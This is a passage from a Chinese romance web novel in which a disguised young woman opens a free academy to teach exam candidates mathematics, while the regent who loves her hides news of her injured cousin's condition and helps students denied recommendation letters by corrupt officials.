注意到他眉心紧锁，瞳眸加深,额心纵起细细的纹路。 微一接触便觉心口刺痛。 她戳戳男人的脸颊，“你在心疼我吗？” 周川行将她不安分的小手握住，“你说呢，好不容易养好，再病了我可怎么办。” “我身体很好的，”唐兮暖两手用力搓他脸颊，“太医都说我没事了，只要按时吃他开的药膳，用不了多久都能比你硬朗。” “好，听你的，”周川行吩咐紫苏和小倩，“照顾好她，去看看就回府休息。” 紫苏和小倩同时回道：“是。” 周川行只和小姑娘一起吃完午饭就离开了。 唐兮暖眯了一会儿，和孙卿兆一起去书院。 距离王府不远，原本是一大户人家的私塾。 十几年前叛军攻入京城，原主一族全部死在叛军的铁蹄之下。 这私塾变成主之地。 孙卿兆看好地址后跟周川行借的，已经收拾差不多，随时都可以开课。 周川行把招生事宜交给了魏敏昭。 他这几天便带人来书院做准备工作。 朝栎听到风声，一大早赶过来帮忙。 唐兮暖和孙卿兆等人到的时候，魏敏昭和朝栎正带人忙得热火朝天。 “孙大人，”魏敏昭看见孙卿兆急着向他请教，“王爷的意思是，这次授课完全免费，不过有门槛，有乡试推荐文书的人才能参加，我和公主准备了登记名册，你看看还有什么遗漏。” 魏敏昭考虑的已经很全面，孙卿兆不得不佩服，“魏公子做的很好。” 魏敏昭被夸奖稀松平常，可当着朝栎公主的面，这就足够让他骄傲了。 面色虽然保持着平静，可眉眼染上笑意，看向朝栎公主，神情里充满耐人寻味的意味。 朝栎对魏敏昭感情不够强烈，自小在水深火热中长大，她现在一门心思要找一位对她二哥有助益的夫君。 只有她二哥登上帝位，天下才会稳定，她后半生才会平安无虞。 不过魏敏昭看她，她还是回以一个鼓励的眼神。 魏敏昭向周川行求娶朝栎公主的时候，唐兮暖在场。 她最近情窦初开，逐渐关注男女之间的互动。 注意到魏敏昭和朝栎公主的反应，把孙卿兆悄悄拉到旁边问：“孙大哥，你能不能看出来朝栎喜不喜欢魏公子？” 这个问题可难到了孙卿兆。 “这……我不懂哎。” 他还是个老光棍。 家族败落后，他忙着读书，整天琢磨怎么出人头地，哪有心思关注男女之情。 世上竟也有孙卿兆不懂的东西，唐兮暖忽然笑开了。 “你连这都不懂，亏我一直认为你是世上最聪明的人。” 连翘离两人不远，最看不惯孙卿兆那一副小人得志的德行，“他能看懂什么，寒公子，您都不如问我。” 唐兮暖好奇道：“你能看懂？那你说公主喜不喜欢魏公子？” 连翘语结，“寒公子，人家也没恋爱过。” 唐兮暖没在书院待多久，各方面都有人负责，她帮不上忙，听从周川行吩咐老早回王府休息。 路上，她好奇连翘和紫苏的来历，只知道两人是来保护自己的，可她们家在哪里，家里还有些什么人，她却一无所知。 “连翘，你们是怎么认识二郎的？在保护我之前，是做什么的？” 连翘先看向紫苏，见她点头才开口回答唐兮暖的问题。 “我们出生在边陲小镇，父母被入侵的敌军杀害，我们两个成了孤儿，是王爷救了我们。” 唐兮暖第一次听说两人的身世，竟然和她一样可怜。 都是无父无母的孤儿。 “那黄芪和百合也是吗？” 连翘点头：“是啊，我们都是，其实像我们这样的孤儿还有很多，王爷救我们的时候，我们还小，王爷把我们这些孤儿收编到一起，给我们吃，给我们住，派人教我们生存的本事。 有时间还会亲自训练，我和t姐姐的武功，大半都是王爷教的，在我们眼里，王爷就是我们的兄长，和我们父亲一样。” 唐兮暖第一次听说周川行的过往。 “具体有多少像你一样的人？” 连翘知无不言，“有七八百人。” 唐兮暖心里动容，原来周川行救过那么多孤儿。 如果自己小时候遇到他，她的生活会不一样吗？ 唐兮暖心情有些低落，“那些人在哪？” 连翘：“很多都已经成年，有的被派去边疆，有的进了禁军，还有的成亲后回老家过小日子，像我们这种哪都不想去的，就被王爷安排了差事。” 唐兮暖又来了兴趣，“王爷打仗的时候你们见过吗？他是不是特别骁勇？” 连翘讲起周川行领兵打仗的英勇事迹滔滔不绝。 “王爷不但骁勇，还是兵神，带兵这么多年，无一败绩，打得周边小国闻风丧胆，听到他的大名都能吓死。” 提到周川行统兵，一向稳重不喜言辞的紫苏都有了讲话的兴致。 “唐姑娘，所有边疆的百姓没有不知道王爷的，有农户家的小孩闹腾，父母都拿王爷吓唬他们。” 唐兮暖好奇道：“怎么吓唬？” 连翘绷着脸色学那些父母，“就这样，再哭，大将军来了把你抱走！” 唐兮暖忍俊不禁，“他有那么吓人吗？可我觉得他很温柔啊。” 连翘哼道：“那是对你，你是没见他教我们功夫的时候有多严厉，我们所有人都害怕他呢。” 紫苏补充道：“王爷是为我们好，在战场上，稍有不慎就会没命，他让我们好好练功夫，关键时刻能保命。” 唐兮暖被这些言辞感动到了。 眼窝不由得漾出湿意。 “原来他是这样的人。” 联想到自己的过往，问道：“那他也接触过不少女孩子，就没有心仪的？” 紫苏笑了：“他把我们当成他的孩子，哪来的心仪女子，唐姑娘是他第一个喜欢的姑娘呢。” 唐兮暖忍不住在心里比较起楚衍诺和二郎。 比着比着，她发现拿二郎和楚衍诺相比，简直侮辱了二郎。 挑战赛第二天很顺利。 第三天已经有不少人想拜寒兮为师，甚至有人不惜任何代价，愿意奉上全部家产，只求她在乡试前辅导他算学课程。 魏敏昭和朝栎公主便在这个时候来到彩月楼宣传，寒兮开办的书院已经成立。 有想学习的，现场报名，明天直接去书院。 寒兮挑战赛，杨志和林岳全程参与。 两个人苦于没有机会接近寒兮，正在发愁，听说寒兮要办书院，毫不犹豫赶过去报名。 却被陆远拦住去路。 林岳有些不高兴，“寒兮开的书院，你不想听？” 陆远嗤道：“他在彩月楼举行挑战赛，连续三天，得花多少银子，不得从这些学子身上赚回来，你们想过吗？” 杨志脸色一寒，下意识摸向怀里的银子，已经所剩不多。 只怕坚持到乡试结束的食宿费用都不够。 “那怎么办，朝廷忽然增加算学科目，我们所学有限，如今寒兮招生，我们不去，不是被落的更多？” 林岳更急，“这次乡试，我可是豁出了全部身家，万一落选……” 全家人都活不下去了。 “林兄、杨兄，你们怎么不去报名。” 有住同一家客栈的学子报完名挤过来。 林岳为难道：“收费是不是很贵？我们没那么多银子……” “收什么费，孙大人说了，免费，只要是这场科举的考生就行，快点去吧。” “真的假的？”林岳不信，死死抓住对方。 那人笑道：“我刚报完，真不要钱，快点去吧。” 林岳和杨志还有些不敢置信。 两人很快挤到报名处，一直到填完信息离开，也没有人跟他们收费，这才确定，寒兮本次授课是免费的。 “杨兄，我们走了什么狗屎运，竟然能听寒公子亲自授课。”林岳不误感叹道。 杨志同样感叹，“朝廷忽然增加算学科目，打了我们措手不及，错过这次乡试，下一次还不知道什么时候，说实话，老家都找不到什么好的算学先生。” 林岳：“不知道寒公子何许人也，自己出金子举办这次挑战赛，还开书院给我们免费授课，你说他是不是神仙下凡特意来拯救我们这些学子的？” 陆远跟在两人身后，虽然也报了名，可总觉的事情没那么简单。 “现在是没收费，不会等我们明天进了书院再跟我们收费吧，那时课我们听完了，想要多少，我们能不给吗。 再者我们都不是本地人，遇到不平又能怎么着，只能吃这个哑巴亏。” 杨志有些迟疑。 这世上好人有多少，自家亲戚都能趁火打劫，何况一个不认识的陌生人。 凭寒兮的本事，这个时候一百两银子讲一次课都有大把的人愿意。 凭什么免费授课？ 林岳倒是相信寒兮，“我看他不像坏人，我相信他，明天吃完早饭就去书院，报名的学子那么多，别去晚了没地方。” …… 唐兮暖对大家的猜疑一无所知。 所授课的内容虽然早已定好，可她还想再整理一下。 午饭之后走进书房一直到天黑，不曾出门半步。 周川行回到王府听说此事，急急忙忙赶到书房，看见的便是小倩坐在书桌前仿佛一个认真听讲的学子。 而唐兮暖将准备好的授课内容写到一张超级大的纸上，挂在墙上。 她一遍一遍讲给小倩听。 虽然小倩完全听不懂，可一点都不影响她讲课的热情。 小姑娘身穿男装，绷着小脸不苟言笑，双眼炯炯有神，充满睿智的光芒，还真有几分夫子摸样。 周川行看着看着，战场杀伐十几年的铁血男儿眼窝竟染上湿意。 小姑娘在为他培养人才，想把他从冗杂繁复的朝政里解放出来。 她从一个不谙世事的小姑娘，如今走上讲台，即将面对全国各地官员举荐来的考生，用她的萤火之光照亮所有学子前行的路。 这份赤忱，他周川行何德何能，能够拥有。 除父母外，小姑娘是第一个对他剖心剖肺全力付出的人。 第67章 唐兮暖确定明天授课内容没问题才停下来。 注意到周川行站在门口。 夕阳红光暗淡,他高大的身躯挡住一半光线，攒在头上的碧玉金冠被一层浮光笼罩，过分坚硬的男人意外变柔软。 此刻静静望着她的方向。 小姑娘微眯起眸子,很快反应过来，激动欣喜交织，一心奔向门口的人。 “二郎,你什么时候来的，我都不知道呢。” 周川行顺势接住他的小姑娘，“这么晚还在努力，累不累？” 唐兮暖一点都不累，“做喜欢做的事情不累呢。” 不过那是刚才，此刻看见二郎，就觉得全身哪哪都不舒服。 “好像……也是有点累的。” 周川行转身蹲下，“我背你回去。” 小姑娘嘴角噙起一抹得逞般的笑，稍一犹豫爬到他宽阔的后背上。 周川行把人稳稳当当背起来。 唐兮暖凑到他耳边，笑盈盈地开口：“二郎,你的后背好踏实。” 周川行弯唇而笑，“喜欢？” 唐兮暖毫不掩饰内心的感情：“嗯,喜欢。” 周川行大方道：“以后每天都背你。” 唐兮暖恍惚记起小时候父亲背她的情形。 如果爹娘都好好的活着,她从小在父母的呵护下长大，不知该是什么情形。 “二郎,你能给我讲讲我父母的事情吗？” 周川行心有犹豫。 太师一党能灭，无非费些手段,可皇后是万万动不得的。 不说她还是自己皇嫂。 生下皇兄唯一的孩子。 就算是当年的事，皇后并没有参与，诛杀太师满门，都动不到皇后头上。 唐兮暖知道真相,势必要卷入这场党争里。 早晚会和皇后对上。 小姑娘天真烂漫，毫无心机，能是后宫侵染多年皇后的对手？ 他皇兄除了中宫皇后还有两位贵妃以及十几位妃子美人，皇兄病重后，后宫只留下两个完全依附皇后的美人，其余的要么幽禁要么暴毙要么失踪了。 这些没有孩子的后宫女人，死了都没人问一句。 太师霸权，娘家人除了装聋作哑又能怎么样。 周川行刚回来的时候，亲眼看见两个太监拖出一名女子，简单用草一盖，就结束了她可怜的一生。 虽然小姑娘有他护着，可他事多，总有顾及不到的时候。 辗转反思后，周川行决定暂时不告诉小姑娘真相。 再等等，等她翅膀足够硬，有能力自保，再向皇后宣战。 “暖暖，”周川行斟酌着开口，“当年你才五岁，我只比你大五岁，实在不了解……” 担心小姑娘失t望，“你放心，我一会儿就命人去查，保证查的清清楚楚。” 趴在后背上的小姑娘幽幽叹了口气，“姑母也不知道呢，我怀疑你们都骗我，不肯告诉我真相。” 周川行回头安慰她，“侯夫人心地善良，她不告诉你，肯定有不得已的理由，等时机成熟了，她肯定会告诉你的。” 唐兮暖：“那什么时候算时机成熟呢？” 周川行：“等你有足够的能力，完全可以自保的时候。” 唐兮暖搂着他的脖子，用力点了点头，“我会努力的。” “真乖，”周川行把人背进闺房，瞧着自己的小姑娘，铁汉也有柔情，眼里充满怜惜，他揉着小姑娘的脑袋，“一切都有二郎呢，二郎会帮你报仇。” “二郎，你真好，”唐兮暖重新恢复精神，“我也会努力帮你的。” 挑战赛最后一天，魏敏昭现场招生，报名学子人满为患。 所有人都以为书院开课当天，会来很多学子，魏敏昭甚至命人增加座位。 可开课这天早晨，书院只零星来了几个人。 倒是书院门口聚集很多学子，大家都持观望态度，甚至不敢走进书院。 越是背水一战的学子，疑虑越多。 这些观望的学子中，就有杨志和林岳。 杨志母父母送给知县一百亩地才换来这次科举的机会。 大周朝最聪明人开办书院，免费授课，比天上掉馅饼还难得，让他怎么相信，这种好事会落到他头上。 林岳母亲跟人借贷五千两银子，万一出什么差错，小妹可就要送给人家做小妾了。 尤其周围的议论都偏向书院有猫腻，两人越发担心。 “这个所谓的寒公子，不知道打了什么主意，你们相信他会免费授课吗？” “天下熙熙皆为利来，天天嚷嚷皆为利往，我是不信他会做这种没有利益的事情。” “万一咱们听完课，把咱们扣下，不给大笔银子不放人，那时怎么办？” “不让咱们参加科举，才是最麻烦的。” “现在怎么办，有人进去了，我们进还是不进？” …… 唐兮暖和孙卿兆一起来的，注意到门口聚集很多人，进了书院却又不见几个，心里充满疑惑：“他们还是不信？” 魏敏昭扫了一眼教室，零零星星还不到十人。 “就这几个。” 唐兮暖满心期待，今天会有很多学子，计划被打乱，一时有些迷茫。 “孙大哥，现在怎么办？” 孙卿兆倒是有些猜测，“我们不是以朝廷名义举办的书院，他们不信也能理解，你们稍等，我去请端王，有他出面，定能打消这些人的疑惑。” 他话音还没落，端王已经来了。 “真是麻烦，免费给他们授课，倒是猜忌上了，都是些糊涂蛋。” 他虽然不高兴，但为了江山社稷，还是屈尊降贵赶到书院外动员。 有亲王出面，大部分学子放下疑惑，勇敢迈进书院。 林岳是第一个站出来的。 “我信寒兮，他那么清贵的人，怎么可能骗我们，先进书院看看怎么回事。” 杨志还是担心，怀着疑惑跟林岳一起走进书院。 教室里很快坐满学子，至少有上百人。 因为一大早出现这点小事故，魏敏昭都没来得及核对学子身份，只要愿意进来的，全部放行。 他派了二十名侍卫，分别站在教室前后，维持秩序。 书院办成什么样，他其实不怎么关心。 护的是唐兮暖的安全。 如果她出现什么差错，摄政王兽性大发能屠杀所有人。 待所有人安安分分坐好，孙卿兆走上讲台，先自我介绍。 众位学子听说他是四品吏部侍郎，满心崇拜。 多少人辛辛苦苦读书一辈子，也就中个举人、进士，能进翰林院封六品官职，已经是天下读书人的表率。 正四品，从古至今才有多少人。 终其一生也难以达到。 讲台下稀稀拉拉不少人发出羡慕的感叹。 孙卿兆摆手示意众学子噤声。 随后他朝门口的寒兮郑重其事居功行礼。 “请允许我称您一声韩先生，卿兆能有今日，全赖韩先生大义。” 这些流程都是两人提前定好的。 孙卿兆担心众位学子嫌弃寒兮年轻，他必须在开课前，把寒兮的身份抬上去。 唐兮暖今天特意往成熟打扮过。 一身紫色氅衣，头戴软脚幞头帽，手持如意，腰间一块翠玉襟步，一块摄政王送她的玉牌。 脚踩红色方履。 端端正正往众人面前一站。 就给人一种既清贵又饱读诗书满腹经纶之感。 唐兮暖大大方方接受孙卿兆的鞠躬大礼。 四品大员都如此认真对待，这些即将走进考场的学子怎么能不认真对待。 此刻，他们看向寒兮的眼神，都多了一丝认真和敬意。 孙卿兆预想的效果已经达到，朗声道：“现在寒兮书院正式开课，请所有学子起身，向传道受业恩师行礼。” 端王扶着寒兮走上讲台，站在众人面前。 所有学子很快起身，恭恭敬敬跟孙卿兆一起向寒兮行礼，口称先生。 动员仪式结束，授课正式开始。 唐兮暖先给大家回礼，之后才按照提前定好的开场白逐渐进入正题。 这么多人的大教室，寒兮声音又小，至少一半的人都听不清她说话。 没办法，她只能讲两遍。 站在教室前边讲一遍，站在教室中间位置再讲一遍。 刚开始上课时，大部分学子都怀着质疑、猜忌、茫然、忐忑等等各种心思。 一个时辰下来，全都被唐兮暖的逻辑和能力所折服。 果然有的人有天赋，有的人就是天赋。 如果寒兮参加科举，状元还能是别人吗！ 孙卿兆原本制定的计划是，每天讲一个时辰课。 乡试还有一个半月，但凡有点基础，能力不太差的学子都能通过这一个半月有显著提高。 可唐兮暖讲完，很多学子围住她讨教，一时间，她根本走不开。 小倩是最了解自家小姐身体的。 急得团团转，“一下把我们家公子累坏了，接下来不用讲课了。” 孙卿兆也意识到这个问题，及时把人隔开。 “今天的课到此为止，有问题明天再问。” 唐兮暖很喜欢把自己的学识教给大家，还不想走。 孙卿兆干脆把人推出去，“小祖宗哎，万一把你累坏了，王爷得跟我急。” 连翘适时递上刚沏好的西湖龙井，“公子，多喝点水，润润喉咙。” 唐兮暖被人担心着，簇拥着，又做了自己喜欢的事情，发自内心的高兴。 “我没那么脆弱呢。” 魏敏昭从一开始嫌弃唐兮暖是个傻子，到看见他出现在王府，如今竟然亲自给众多参加乡试的学子授课。 震惊一波接一波。 明明还是个十八九岁的小姑娘，站在上百人面前，丝毫不怵，还能条理清晰，保持逻辑，将腹中知识传达出来。 试问他这个大好几岁的男人都做不到。 她竟然如此从容，如此游刃有余。 “魏公子，”有学子还不想离开书院，来到魏敏昭面前请求，“我们能不能留在书院学习？” 这些背井离乡的学子，大部分家境都不怎么样。 住不起好客栈，还要和其他学子挤一间房。 根本没有学习的环境。 他们怀着卑微和忐忑，希望能留在书院学习。 这里环境好，空间大，到处都充满了书卷气，坐在这里心情都不一样。 魏敏昭不怎么同意，“你们不是住客栈吗？回客栈去吧。” 留在书院，他就要负责这些人的安全，派人看守。 他只想讨朝栎公主欢心，至于这些书生，恕他没办法感同身受。 杨志还想再说两句，林岳摇了摇头，“算了吧。” 唐兮暖第一天授课，可惜周川行没能参加。 江南出事了。 左丞相被秘密押送京城的消息泄露，今天江南送来八百里加急，有人暗杀左丞相，腹部中箭，倒是没有伤及性命，可楚衍诺出手相救，身受重伤。 这是周川行最不愿意看到的事情。 左丞相死也就死了，不过少一个人指正王太师。 可楚衍诺受伤，万一被小姑娘知道…… 她再不顾一切回到侯府，那他们这两个月的相处算什么。 “陶罐，你带太医去江南，务必把楚世子给我拦到半路，什么时候治好什么时候再回来。” 第68章 陶罐奉命带太医出京阻拦楚衍诺。 可惜他晚了一步,在岔路口完美错过。 楚衍诺撑着最后一口气回到侯府，人才进院就从马上坠落，一口鲜血喷出,人彻底昏死过去。 青竹急得大喊，命人快点把府医找过来，他则和侍卫把人背回卧室。 楚衍晴不在侯府,侯夫人听到消息急急忙忙赶过来。 青竹一边哭一边汇报：“世子爷t听说有人要杀左丞相，冒险相救，胸口中箭，箭头有毒，大家都让他留在当地医治，可世子爷说什么都不同意，昏迷中一直念着表姑娘，还说……还说……还说他就是死也要再见表姑娘一面。” 青竹说到这里，忽然给侯夫人跪下，“夫人,世子爷受伤很重，除非表格娘回来,否则他连求生的意志都没了,您就这一个儿子，真不能接表姑娘回来吗……” 楚衍诺面无血色,呼吸微弱，撑着最后一口气赶回来,一只脚已经迈进鬼门关。 侯夫人五内俱焚。 她就这一个儿子，侯爷病重，儿子再出什么事，这个家也就塌了。 可侄女这些年所受的委屈,又该向谁讨。 魏敏娴盯着奄奄一息的楚衍诺，泪如雨下。 才成婚两个月，丈夫就重伤不治，她这辈子还有什么指望。 “娘，”她也跪到侯夫人脚下，“求您救救衍诺吧，儿媳给您磕头了。” 侯夫人实在舍不得儿子，含泪道：“我会给暖暖捎信，可如果她不想回来，那就是衍诺的命了。” 府医很快赶来。 楚衍诺用过解药，不过刀伤太深，又是心口的位置，如果不是他身体底子好，根本撑不到现在。 “夫人，老朽只能尽力，世子爷能不能醒过来，老朽实在没把握。” 侯夫人头晕目眩，险些摔倒。 “青竹，你快去找衍晴和端王，让他派太医过来，快去。” 青竹不敢耽搁，问清楚楚衍晴所在急忙骑上快马赶去找人。 楚衍晴和姚麟这几天奉命整理大周朝历年科举算学题。 乡试很快开始，可具体考试题目还没定。 按以往乡试流程，周川行该任命一名主考官，由主考官牵头会同其他考官共同拟定。 而主考官基本从翰林、六部中任命。 周川行不是没考虑过。 翰林院所有官员的来源一般都是殿试后的进士前三名，状元、榜眼、探花和其他学识优秀者。 可大周朝十余年没开过科举，可想而知翰林院都是些什么人。 至于六部，吏部尚书是个老狐狸，吹嘘拍马他能排上名号，正事一件干不出来。 户部尚书但凡有才，一份灾民救治方案也不会花费两个月都没做好。 礼部尚书老眼昏花还耳背，端茶倒水都嫌他老，竟然也能做二品尚书。 至于工部和刑部，都是睿王的人，用不起也没法用。 兵部都是些大老粗，不提也罢。 周川行为这事愁的头发都快白了。 实在没办法，他今天把大理寺卿找来想命他担任主考官。 纵观朝中上下，也就是大理寺卿一直保持初心，还能为民做主。 可他不是搞学问的，对此一窍不通。 听说摄政王要命他做主考官，吓得当场提出告老还乡。 …… “你说什么？我哥身受重伤？”楚衍晴听说兄长受伤，慌得六神无主，恨不得立刻赶回家看望。 青竹提醒道：“三小姐，府医已经没办法了，还得请个太医才好。” 楚衍晴不敢耽搁。 她人在摄政王府，端王去书院了，她赶过去来不及，想到摄政王在家，她急忙去找周川行求救。 正好张太医来给唐兮暖问平安脉，周川行便命张太医跟楚衍晴回去。 楚衍晴走后，周川行望着一整排书架怔怔出神。 小姑娘第一次闯进他书房的情景不由得浮上脑海。 那是他第一次如此近距离接触一个小姑娘，可怜他每天领兵打仗，活得又粗又糙，竟然连抱抱都不会。 楚衍诺从小长在侯府，过着锦衣玉食般的生活，肯定更懂小姑娘的心思。 心口莫名一紧，周川行干脆放下手里的工作。 他要去书院，把人抓回来。 也是赶巧了，楚衍晴刚走不久，唐兮暖就回来了。 周川行和她在门口相遇。 “二郎，今天来了好多学子，我给他们讲课了，他们都很喜欢我呢。” 周川行见到神采奕奕的小姑娘，莫名有些恐慌，他使劲把人抱进怀里久久不肯松开。 唐兮暖觉察到他反应不对，“二郎，你干嘛这么抱着我？” 以前周川行认定唐兮暖不会回去找楚衍诺，她见识了外边的风光肯定不会再做笼中鸟。 可楚衍诺身受重伤，危在旦夕，小姑娘和他从小一起长大，真忍心弃而不顾？ “暖暖，不管发生什么事，都不要抛下我，好不好？” 唐兮暖第一次感受到一个男人对她的依恋。 她喜欢这种感觉。 因为这一刻，她也是被需要的，她是个有价值有意义的人。 “二郎，我当然不会离开你了，我还等着给你名分呢。” 周川行喜欢听这话，“这可是你说的，不许反悔。” 唐兮暖轻轻拍着他的后背，像哄小孩那般安抚，“二郎，我说话算话呢，我今天都当先生了，先生是说话最算话的人呢。” 周川行从小习武，十三岁就开始上阵杀敌。 早就练就一副铁石心肠。 唯独小姑娘是那个例外。 他把所有的柔情都给了她。 “二郎相信你，只要是你说的都信。” 傍晚，张太医回来复命。 楚衍诺醒来一阵，生命无忧，不过人没精神，也没求生意志，嘴里一直念着表妹。 周川行命他把这事烂在肚子里。 张太医照例给唐兮暖检查，小姑娘身体还不错，只不过不易过度劳累。 周川行一直陪在旁边，温柔地瞧她，“听见了吗，太医让你注意休息。” 唐兮暖举手发誓，“我肯定听张太医的话。” 此刻的小姑娘乖得像个小宝宝。 周川行能拿她怎么办。 把紫苏和黄芪叫过来，叮嘱两人好好照顾小姑娘。 万不可让她累着。 唐兮暖还要准备明天的授课内容，她做起学问极其认真，任何人任何事都打扰不了。 周川行陪了一会，把小倩叫出门。 “楚世子身受重伤，这两天侯府可能会派人找你家小姐过去，你盯着点，有什么情况第一时间告诉我。” 小倩吓了一跳，“世子爷受伤了？” 周川行的脾气也是改太多，都有耐心回答婢女的问题了。 “救人受伤了。” 小倩怎么也在侯府生活十几年，关键时刻，还是会为侯府的人担心。 “那侯夫人如果找过来，小姐能回去看望楚世子吗？” 夜色越来越浓，周川行望着远处不甚明亮的星辰，一如他此刻的心情。 半晌后，似乎失力一般开口：“尊重她的意思吧。” 手里的线勒得越紧，她可能逃开的越远。 楚世子把人关在侯府，寸步不离又怎么样，小姑娘还是逃出来了。 小倩第一次有了不想和主子分享的秘密。 世子爷那么委屈小姐，她情愿两人一辈子不要见面。 摄政王位高权重，比世子爷的身份不知道高多少，可他一点都不嫌弃小姐愚笨，事事尊重小姐，依着小姐，从不管着小姐。 自从小姐住进王府，每天不知道多开心。 她可不想小姐再回到那个一点自由都没有的侯府。 “小姐，您早点睡吧，别看坏了眼睛。” 小倩站在门口，使劲搓了搓脸，让自己恢复自然才走进卧室。 唐兮暖将讲义放好，好奇道：“刚才二郎找你了？” 小倩不自然的哦一声，随后撒谎道：“二郎……不是，是王爷命奴婢照顾好你，不许累着，要不又该喝苦药了。” 唐兮暖喝够了苦药，吓得急忙往床里躲，“我可不要喝苦药，快点睡，快点睡，睡足了就不累了。” 小倩帮忙盖好薄被，不由得感叹：“王爷对您可真好。” 唐兮暖毫不怀疑，“二郎是天底下最好最好的人。” 小倩不放心道：“所以，以后不管楚世子怎么求您，您都不要理他，王爷才是天底下对你最好的人。” 自从离开侯府，小倩几乎没主动提过世子。 唐兮暖如今虽然还不能像正常人那般为人处世，可也学会了观察和留意。 发现小倩的奇怪之处，好奇道：“你今晚怎么了，为什么一直提表哥？” 小倩自觉说多了，打着哈欠道：“这不是三小姐最近总来王府，我就想到了世子爷。” 原来是这么回事，唐兮暖也困了，她心思简单，脑袋挨到枕头很快睡着。 小倩继续帮小姐整理被子，真希望小姐和王爷能早日修成正果。 第二天，唐兮暖按时从王府出发，很快来到书院门口。 她由连翘扶着跳下马车，正准备往书院里走，被忽然冲过来的学子拦住去路。 “先生，先生，求您给个机会，放我进去听课吧。” 是个容貌很清秀的年轻男子，也就二十多岁的样子。 唐兮暖只看一眼便怔住了，因为对t方有几分她哥哥的样子。 “你为什么不能进去？”唐兮暖回过神来问道，“我记得你昨天进去的，还问了我问题。” “先生竟然记得我，”陈煜倍感震惊。 昨天听课的学子至少有一百多人，他挤在人群里抢着问了一个问题，寒兮竟然记住了他。 难怪是能做先生的人。 唐兮暖有些小得意，“我记性很好呢，昨天来过的人，我全都记住了。” 陈煜：“……” 他从来没见过如此可怕的人。 时间紧迫，小倩提醒道，“这位学子还没说什么原因不能进，马上开课了。” 陈煜急道：“我没有推荐文书，不能参加这次乡试，可是我读书十载，好不容易等来机会，错过这次，还不知道什么时候能走进考场。 还请先生通融，先让我听课，之后再想办法拿到推荐文书。” 唐兮暖记得陈煜昨天提的问题，一道很有特点的税收问题。 如果没有真才实学，绝对提不出来。 “你先进去听课吧，所有事情等我讲完课再说。” 有唐兮暖发话，魏敏昭命人放行。 和陈煜一样没有推荐文书的学子还有三人，魏敏昭一并放进去。 唐兮暖讲课越来越熟练，今天的效果比昨天还好。 因为很多学子都有问题请教，可她身体不好坚持不了太久。 为方便学子，她决定下午再空出半个时辰答疑解惑。 还记得陈煜的事情，她把人叫到方便的地方询问。 “你为什么没有推荐文书？” 陈煜愤恨又无能为力：“每名官员的推荐次数有限，在我们那里已经炒到一万两银子一个人，我家里拿不出来。 实在没办法，我只提前出发打算来京城碰碰运气。” 第69章 陈煜算是遇到好人了。 束手无策之际,来京城碰运气，正好碰到唐兮暖求才。 回府时，唐兮暖让他上了马车。 路上询问很多科举相关事宜。 陈煜正没有倾诉渠道,有人问起，他自然知无不言。 “像你这样没拿到推荐的读书人很多？” 陈煜点头：“和我同一家客栈的就有十余名，距离科举还有一个多月,之后肯定更多。” 唐兮暖苦心孤诣为二郎寻找人才，当然是多多益善。 如果都被拒在考场外，那不是遗漏很多能帮二郎的人才？ “我送你见一个人，一会儿你把这些事情再跟他说一遍。” 唐兮暖心疼二郎没有休息时间，不忘嘱咐，“他不像我这么闲，你捡重点。” 马车直通王府，唐兮暖跳下马车问清楚周川行在小勤政殿，她便把人直接带过去。 周川行早料到这次科举存在很多问题，但没想到这么严重。 下边官员收银子就罢了,也该收那些有真才实学的，让他们量力交银子。 倾家荡产都拿不到推荐文书,这些只会中饱私囊的蠹虫倒是会利用朝廷搂银子。 陈煜不认识摄政王,只见他威严尊贵，比自己见过的巡抚大人还要有气势。 凡是官没有不贪财的,想必此人也一样。 他从包袱里摸出一张银票和几十两散碎银子，全部倒在周川行的书桌上。 “我只有这些,还求大人通融，给我一个参加科举的机会。” 第一次有人给周川行送银子。 周川行头疼地抚额，“你把这些银子给我，还有一个半月才开考,吃什么喝什么？” 陈煜满心凄苦，叹了口气：“再想办法吧，十年苦读，总该进一次考场，毕竟下一次科举还不知道什么时候。” 唐兮暖能替二郎做主，她把银子给陈煜装回去，“我们不要你的银子，至于推荐文书……” 她看向周川行。 周川行已经有所决定，“我不收你银子，这样，你现在去客栈统计，把所有你这种状况人员统计清楚，给我一份名单，不限于你所住的一家客栈。” 陈煜隐隐约约猜到眼前这位官员要做什么。 稍一犹豫，他恭恭敬敬跪下谢恩，“如果能让我等走进考场，恩同再造，所有学子必会对大人披肝沥胆，以命相报。” 周川行摆手示意他起身，“不用谢我，谢你们的寒先生就好。” 陈煜又感谢过寒兮。 唐兮暖也学会了谦虚，“我又没做什么，举手之劳。” 陈煜还有要事相求，“我们这些学子所住的客栈实在不方便读书，还请寒先生开恩，允许这些学子听完课后留在书院继续读书。” 唐兮暖想也不想的说道：“这又不是什么大事，你们尽管留下。” 她和学子约定，下午帮他们答疑解惑，中午回王府不方便。 “二郎，能不能派厨子给学子们准备午饭，我也想留在书院用饭。” 周川行有求必应，“让魏公公去安排。” “谢谢二郎，我去后宅了。” 唐兮暖和陈煜一同出门，陈煜实在好奇周川行的身份，“敢问韩先生，刚才那位大人，何许人也？帮了学生这么大忙，日后必定晨昏定省早晚三炷香，保佑大人身体健康，一生无虞。” 唐兮暖也没想瞒着他，不过忘了介绍。 “他就是大名鼎鼎，为国为民的摄政王大人呀！” 平时俏皮可爱的品行回归，她忽然意识到自己如今是先生身份。 又背起小手装模作样地清清嗓子。 周川行今早得了个小物件，刚追出来就听小姑娘夸他是为国为民的摄政王大人，这两天憋闷的心口豁然开朗，烟消云散。 注意到小姑娘一本正经的往后宅走，待陈煜的身影一消失，她便又回到那个蹦蹦跳跳的小姑娘身份。 嘴角不由得弯起。 他家小姑娘越来越有大儒风范了。 陈煜行动很快，两个时辰后便拿到统计好的名单来到王府。 到现在为止，赶到京城没拿到推荐名额的学子已经有上百人。 想他们不远千里从家乡赶到京城参加科举，但凡对自己的才能没有信心，都不会下这么大苦心。 周川行命专人给这些人开办推荐文书，并派八百里加急到各地宣传，家乡拿不到推荐文书的学子尽快赶到京城，通过考核后便可参加本次乡试。 当晚，陈煜带领百名学子赶到家摄政王府叩谢皇恩。 朝廷求贤若渴，周川行不拘小节，只想尽快招揽更多的人才为朝廷效力。 他没见这些学子，命人传话让他们回去好好温习，两月后拿出一份满意的成绩。 “没想到摄政王人这么好。” “是啊，他可是杀伐果断的大将军，还以为他会瞧不起文人，竟如此体贤下士。” “我都以为今年进不了考场，我们家光给我凑路费就花光了家底，原本只想来京城碰碰运气，没想到还真给我碰到了。” “摄政王果真是一心为民的好人，能为这样的人效力，我等之幸。” 所有受到恩惠的学子，发自内心的感激摄政王。 